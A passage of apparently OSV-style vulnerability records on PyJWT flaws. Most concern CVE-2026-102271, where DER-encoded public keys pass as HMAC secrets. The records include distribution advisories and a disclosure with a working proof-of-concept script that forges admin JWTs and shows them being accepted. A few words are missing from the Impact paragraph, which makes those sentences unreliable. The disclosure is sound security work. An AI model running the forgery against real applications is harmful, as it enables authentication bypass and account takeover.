asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102271)","status":"published","published":"2026-10-16T12:00:03Z","modified":"2026-10-16T12:15:14.60468735Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:52:47.981622Z"},{"id":"PYSEC-2026-4149","title":"PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard","description":"### Summary\n\n`HMACAlgorithm.prepare_key` blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for `-----BEGIN` and for an `ssh-` prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.\n\nAn application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.\n\nThe reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.\n\n### Details\n\nThe guard is at `jwt/algorithms.py:331`:\n\n```python\nif is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n    raise InvalidKeyError(\n        \"The specified key is an asymmetric key or x509 certificate and\"\n        \" should not be used as an HMAC secret.\"\n    )\n```\n\nBoth helpers are text matchers. Neither one parses the key.\n\n- `jwt/utils.py:126`, `is_pem_format`, runs a regex for `----[- ]BEGIN ...----`.\n- `jwt/utils.py:141`, `is_ssh_key`, checks `startswith` against a list of `ssh-` and `ecdsa-sha2-` prefixes.\n\nA DER encoded public key starts with the bytes `0x30 0x82`. It matches neither, so `prepare_key` returns it unchanged and it becomes the HMAC secret.\n\nThere is no DER handling anywhere in the package. `grep -rni \"\\bDER\\b|load_der\" jwt/ tests/` returns nothing.\n\nThis affects three encodings that are all blocked in their PEM form today:\n\n- DER SubjectPublicKeyInfo\n- DER PKCS#1\n- DER encoded X.509 certificate\n\nHistory of this guard:\n\n- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.\n- Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.\n- DER has never been covered.\n\nApplications that use `PyJWK` or `PyJWKClient` are not affected. `jwt/api_jws.py:395` binds the header `alg` to the key's own algorithm, so HS256 never reaches `HMACAlgorithm.prepare_key` on that path.\n\nSuggested fix: try to parse the bytes as a key and reject if parsing works. For example `load_der_public_key`, `load_der_private_key` and `load_der_x509_certificate` in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.\n\n### PoC\n\nTested on 2.4.0, on 2.13.0, and on main at commit `7144e4534`. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.\n\n```console\npip install \"pyjwt==2.13.0\" cryptography\npython poc.py\n```\n\nNo special configuration is needed. The script builds its own key.\n\n```python\nimport base64\nimport hashlib\nimport hmac\nimport json\n\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\n\npub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()\npem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\nder = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)\nder_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)\n\n\ndef b64(raw):\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\")\n\n\ndef forge(secret):\n    # The attacker does not use PyJWT. They only need the public key bytes.\n    head = b64(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\n    body = b64(json.dumps({\"user\": \"admin\", \"role\": \"admin\"}).encode())\n    signing_input = head + b\".\" + body\n    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()\n    return (signing_input + b\".\" + b64(sig)).decode()\n\n\n# PEM form is rejected, as expected since CVE-2022-29217.\ntry:\n    jwt.decode(forge(pem), pem, algorithms=[\"RS256\", \"HS256\"])\nexcept jwt.exceptions.InvalidKeyError as exc:\n    print(\"PEM rejected:\", exc)\n\n# Same key, DER form. The forged token verifies.\nprint(\"DER SPKI accepted:\", jwt.decode(forge(der), der, algorithms=[\"RS256\", \"HS256\"]))\nprint(\"DER PKCS#1 accepted:\", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=[\"RS256\", \"HS256\"]))\n```\n\nOutput:\n\n```\nPEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s\nDER SPKI accepted: {'user': 'admin', 'role': 'admin'}\nDER PKCS#1 accepted: {'user': 'admin', 'role': 'admin'}\n```\n\nThe token is signed with plain `hmac`, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.\n\nWe also have a regression test written in your pytest style. It uses your own `tests/keys` fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.\n\n### Impact\n\nKey confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.\n\nWho is affected: applications that verify tokens with an asymmetric public key, also list an HS\\* algorithm  pass that public key to `jwt.decode` as DER bytes.\n\nWhat an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They  is public, and they re-encode it to DER. Nothing secret has to be stolen first.\n\nWhat limits it: the application must already be in the mixed HS\\* and RS\\* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of `PyJWK` and `PyJWKClient` are not affected.\n\n\n\u003e Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.","status":"published","published":"2026-10-01T16:38:40.355706Z","modified":"2026-10-01T17:45:14.256840962Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:57.255153Z"},{"id":"RLSA-2026:94500","title":"Critical: fence-agents security update","description":"The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster. \n\nSecurity Fix(es):\n\n* pyjwt: pyjwt: Authentication bypass via empty HMAC key acceptance (CVE-2026-102266)\n\n* pyjwt: PyJWT: Authentication bypass via improper public key validation (CVE-2026-102268)\n\n* pyjwt: PyJWT: Authentication bypass via acceptance of DER public keys as HMAC secrets (CVE-2026-102271)\n\n* pyjwt: pyjwt: Verification key substitution via unvalidated JWKS redirects (CVE-2026-102267)\n\n* pyjwt: pyjwt: Token forgery via improper Unicode byte-order mark handling (CVE-2026-102272)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2026-11-04T09:06:07.045237Z","modified":"2026-11-04T09:45:03.398492219Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-04T10:05:57.467041Z"},{"id":"RLSA-2026:94501","title":"Critical: fence-agents security update","description":"The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster. \n\nSecurity Fix(es):\n\n* pyjwt: pyjwt: Authentication bypass via empty HMAC key acceptance (CVE-2026-102266)\n\n* pyjwt: PyJWT: Authentication bypass via improper public key validation (CVE-2026-102268)\n\n* pyjwt: PyJWT: Authentication bypass via acceptance of DER public keys as HMAC secrets (CVE-2026-102271)\n\n* pyjwt: pyjwt: Verification key substitution via unvalidated JWKS redirects (CVE-2026-102267)\n\n* pyjwt: pyjwt: Token forgery via improper Unicode byte-order mark handling (CVE-2026-102272)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2026-11-04T09:10:56.529723Z","modified":"2026-11-04T09:45:02.465082724Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-04T10:05:57.467041Z"},{"id":"UBUNTU-CVE-2026-102271","description":"PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.","status":"published","published":"2026-09-28T21:17:00Z","modified":"2026-10-27T11:56:51.082278802Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T16:55:58.519486Z"},{"id":"ALSA-2026:94500","title":"Critical: fence-agents security update","description":"The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.   \n\nSecurity Fix(es):  \n\n  * pyjwt: pyjwt: Authentication bypass via empty HMAC key acceptance (CVE-2026-102266)\n  * pyjwt: PyJWT: Authentication bypass via improper public key validation (CVE-2026-102268)\n  * pyjwt: PyJWT: Authentication bypass via acceptance of DER public keys as HMAC secrets (CVE-2026-102271)\n  * pyjwt: pyjwt: Verification key substitution via unvalidated JWKS redirects (CVE-2026-102267)\n  * pyjwt: pyjwt: Token forgery via improper Unicode byte-order mark handling (CVE-2026-102272)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n","status":"published","published":"2026-11-03T00:00:00Z","modified":"2026-11-04T16:45:02.633802593Z","updated_at":"2026-11-04T17:11:08.071099Z"},{"id":"ALSA-2026:94501","title":"Critical: fence-agents security update","description":"The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.   \n\nSecurity Fix(es):  \n\n  * pyjwt: pyjwt: Authentication bypass via empty HMAC key acceptance (CVE-2026-102266)\n  * pyjwt: PyJWT: Authentication bypass via improper public key validation (CVE-2026-102268)\n  * pyjwt: PyJWT: Authentication bypass via acceptance of DER public keys as HMAC secrets (CVE-2026-102271)\n  * pyjwt: pyjwt: Verification key substitution via unvalidated JWKS redirects (CVE-2026-102267)\n  * pyjwt: pyjwt: Token forgery via improper Unicode byte-order mark handling (CVE-2026-102272)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n","status":"published","published":"2026-11-03T00:00:00Z","modified":"2026-11-04T16:45:02.622042393Z","updated_at":"2026-11-04T17:11:08.071099Z"},{"id":"AZL-105221","title":"CVE-2026-102271 affecting package python-jwt for versions less than 2.15.1-1","description":"PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.","status":"published","published":"2026-09-28T21:17:15Z","modified":"2026-11-02T14:17:22.703994064Z","updated_at":"2026-11-02T15:28:01.09948Z"},{"id":"CLSA-2026-1790839846","title":"TuxCare security update for pyjwt (6 CVEs)","description":"TuxCare rebuilt pyjwt to address 6 CVEs. Fixed in 2.10.1.post5+tuxcare.","status":"published","published":"2026-10-01T07:30:46Z","modified":"2026-10-15T09:47:42.038069757Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790843991","title":"TuxCare security update for pyjwt (6 CVEs)","description":"TuxCare rebuilt pyjwt to address 6 CVEs. Fixed in 2.8.0.post4+tuxcare.","status":"published","published":"2026-10-01T08:39:51Z","modified":"2026-10-15T09:48:02.364278194Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1793607290","title":"TuxCare security update for pyjwt (2 CVEs)","description":"TuxCare rebuilt pyjwt to address 2 CVEs. Fixed in 2.3.0.post5+tuxcare.","status":"published","published":"2026-11-02T09:14:51Z","modified":"2026-11-02T14:45:03.696643633Z","updated_at":"2026-11-02T15:43:55.669514Z"},{"id":"CLSA-2026-1793700313","title":"TuxCare security update for pyjwt (1 CVE)","description":"TuxCare rebuilt pyjwt to address 1 CVE. Fixed in 1.7.1.post5+tuxcare.","status":"published","published":"2026-11-03T11:05:14Z","modified":"2026-11-03T13:30:03.173048448Z","updated_at":"2026-11-03T14:04:50.729288Z"},{"id":"openSUSE-SU-2026:22074-1","title":"Security update for python-PyJWT","description":"This update for python-PyJWT fixes the following issues:\n\n- CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).\n- CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).\n- CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).\n- CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).\n- CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).\n- CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).\n- CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).\n- CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).\n- CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key\n  (bsc#1283072).\n- CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls\n  (bsc#1283829).\n","status":"published","published":"2026-10-09T12:17:21Z","modified":"2026-10-19T17:23:12.597526095Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"ROOT-APP-PYPI-CVE-2026-102271","title":"CVE-2026-102271 in pyjwt - Patched by Root","description":"Root has patched CVE-2026-102271 in the pyjwt package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-11-02T07:34:59Z","modified":"2026-11-02T08:15:03.228371229Z","updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"SUSE-SU-2026:24126-1","title":"Security update for python-PyJWT","description":"This update for python-PyJWT fixes the following issues:\n\n- CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).\n- CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).\n- CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).\n- CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).\n- CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).\n- CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).\n- CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).\n- CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).\n- CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key\n  (bsc#1283072).\n- CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls\n  (bsc#1283829).\n","status":"published","published":"2026-10-09T12:13:13Z","modified":"2026-10-13T17:23:10.206484436Z","updated_at":"2026-11-02T15:54:04.519245Z"},{"id":"SUSE-SU-2026:24134-1","title":"Security update for python-PyJWT","description":"This update for python-PyJWT fixes the following issues:\n\n- CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).\n- CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).\n- CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).\n- CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).\n- CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).\n- CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).\n- CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).\n- CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).\n- CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key\n  (bsc#1283072).\n","status":"published","published":"2026-10-09T11:50:01Z","modified":"2026-10-15T17:23:11.683497084Z","updated_at":"2026-11-02T15:54:04.519245Z"},{"id":"SUSE-SU-2026:24219-1","title":"Security update for python-PyJWT","description":"This update for python-PyJWT fixes the following issues:\n\n- CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).\n- CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).\n- CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).\n- CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).\n- CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).\n- CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).\n- CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).\n- CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).\n- CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key\n  (bsc#1283072).\n- CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls\n  (bsc#1283829).\n","status":"published","published":"2026-10-09T12:13:13Z","modified":"2026-10-21T17:23:10.838650728Z","updated_at":"2026-11-02T15:54:04.519245Z"},{"id":"SUSE-SU-2026:24377-1","title":"Security update for python-PyJWT","description":"This update for python-PyJWT fixes the following issues:\n\n- CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).\n- CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).\n- CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).\n- CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).\n- CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).\n- CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).\n- CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).\n- CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).\n- CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key\n  (bsc#1283072).\n- CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls\n  (bsc#1283829).\n","status":"published","published":"2026-10-20T15:12:20Z","modified":"2026-10-27T17:23:19.403372208Z","updated_at":"2026-11-02T15:54:04.519245Z"},{"id":"SUSE-SU-2026:5064-1","title":"Security update for python-PyJWT","description":"This update for python-PyJWT fixes the following issues:\n\n- CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).\n- CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).\n- CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).\n- CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).\n- CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).\n- CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).\n- CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).\n- CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key\n  (bsc#1283072).\n","status":"published","published":"2026-11-03T07:32:38Z","modified":"2026-11-03T22:45:04.564059533Z","updated_at":"2026-11-03T22:59:30.419462Z"},{"id":"USN-8916-1","title":"pyjwt vulnerabilities","description":"YuSung Han discovered that PyJWT did not properly validate certain JWK keys\nwhen performing HMAC verification. An attacker could possibly use this\nissue to forge authentication tokens. This issue only affected  Ubuntu\n26.04 LTS. (CVE-2026-102266)\n\nRohan Das discovered that PyJWT incorrectly handled redirects when fetching\nkey sets. A remote attacker could possibly use this issue to  cause PyJWT\nto disclose sensitive information. This issue only affected Ubuntu 22.04\nLTS, Ubuntu 24.04 LTS, Ubuntu 26.04 LTS. (CVE-2026-102267)\n\nIt was discovered that PyJWT incorrectly recognized certain PEM\nrepresentations. An attacker who knew the public key could possibly use\nthis issue to forge authentication tokens. This issue only affected Ubuntu\n18.04 LTS, Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, Ubuntu\n26.04 LTS. (CVE-2026-102268)\n\nNuno Lopes discovered that PyJWT incorrectly handled DER public keys when\nperforming HMAC verification. An attacker who knew the public key could\npossibly use this issue to forge authentication tokens. (CVE-2026-102271)\n\nIt was discovered that PyJWT did not properly handle certain JWK keys\nprefixed with a byte-order mark. An attacker who knew the public key could\npossibly use this issue to forge authentication tokens. (CVE-2026-102272)\n\nCharles Vosburgh discovered that PyJWT incorrectly handled certain JWK\ncontainers when performing HMAC verification. An attacker who knew the\npublic key could possibly use this issue to forge authentication tokens.\n(CVE-2026-102273)","status":"published","published":"2026-10-13T10:09:47Z","modified":"2026-10-27T11:56:51.412224735Z","updated_at":"2026-11-02T16:58:26.907654Z"},{"id":"USN-8916-2","title":"pyjwt vulnerabilities","description":"USN-8916-1 fixed vulnerabilities in PyJWT. This update provides the\ncorresponding fix for PyJWT on Ubuntu 26.10.\n\nOriginal advisory details:\n\nYuSung Han discovered that PyJWT did not properly validate certain JWK keys\nwhen performing HMAC verification. An attacker could possibly use this\nissue to forge authentication tokens. (CVE-2026-102266)\n\nRohan Das discovered that PyJWT incorrectly handled redirects when fetching\nkey sets. A remote attacker could possibly use this issue to  cause PyJWT\nto disclose sensitive information. (CVE-2026-102267)\n\nIt was discovered that PyJWT incorrectly recognized certain PEM\nrepresentations. An attacker who knew the public key could possibly use\nthis issue to forge authentication tokens. (CVE-2026-102268)\n\nNuno Lopes discovered that PyJWT incorrectly handled DER public keys when\nperforming HMAC verification. An attacker who knew the public key could\npossibly use this issue to forge authentication tokens. (CVE-2026-102271)\n\nIt was discovered that PyJWT did not properly handle certain JWK keys\nprefixed with a byte-order mark. An attacker who knew the public key could\npossibly use this issue to forge authentication tokens. (CVE-2026-102272)\n\nCharles Vosburgh discovered that PyJWT incorrectly handled certain JWK\ncontainers when performing HMAC verification. An attacker who knew the\npublic key could possibly use this issue to forge authentication tokens.\n(CVE-2026-102273)","status":"published","published":"2026-10-15T06:24:37Z","modified":"2026-10-27T11:56:51.258716356Z","updated_at":"2026-11-02T16:58:26.907654Z"}]}}